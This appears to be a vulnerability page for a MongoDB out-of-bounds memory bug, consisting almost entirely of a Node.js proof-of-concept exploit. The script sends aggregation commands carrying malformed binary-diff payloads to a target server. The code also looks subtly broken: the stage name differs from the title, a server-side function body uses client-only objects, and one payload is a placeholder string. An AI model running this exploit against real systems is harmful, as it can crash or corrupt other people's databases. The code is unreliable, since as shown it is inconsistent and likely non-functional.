CVE-2026-9753 MongoDB $_internalApplyOplogUpdate 内存越界访问漏洞

// CVE-2026-9753 PoC - MongoDB $_internalApplyOplogUpdate Memory Out-of-Bounds // Requires authenticated user with aggregate command access const { MongoClient } = require('mongodb'); async function exploitCVE20269753() { const url = 'mongodb://target:27017'; const client = new MongoClient(url, { authSource: 'admin' }); try { await client.connect(); const db = client.db('test'); // Construct malicious aggregation pipeline with malformed binary diff // This triggers $_internalApplyOplogUpdate out-of-bounds access const maliciousPipeline = [ { $match: { _id: 'target_doc' } }, { $group: { _id: null, data: { $push: '$$ROOT' } }}, { $project: { _id: 0, payload: { $function: { body: function() { // Malformed binary diff triggers OOB access return db.adminCommand({ aggregate: 1, pipeline: [{ $internalApplyOplogUpdate: { op: 'u', ns: 'test.coll', o: Buffer.from('malformed_binary_diff_data'), o2: { _id: 'target' } }}], cursor: {} }); }, args: [], lang: 'js' } } }} ]; // Alternative: Direct trigger via aggregate command const exploitResult = await db.command({ aggregate: 'collection', pipeline: [ { $internalApplyOplogUpdate: { op: 'u', ns: 'test.coll', o: Buffer.from([0xFF, 0xFE, 0x00, 0x00, 0xAB, 0xCD]), o2: { _id: 'vulnerable_doc' } }} ], cursor: {} }); console.log('Exploit attempted'); console.log('Result:', exploitResult); } catch (error) { console.error('Error during exploitation:', error.message); } finally { await client.close(); } } exploitCVE20269753();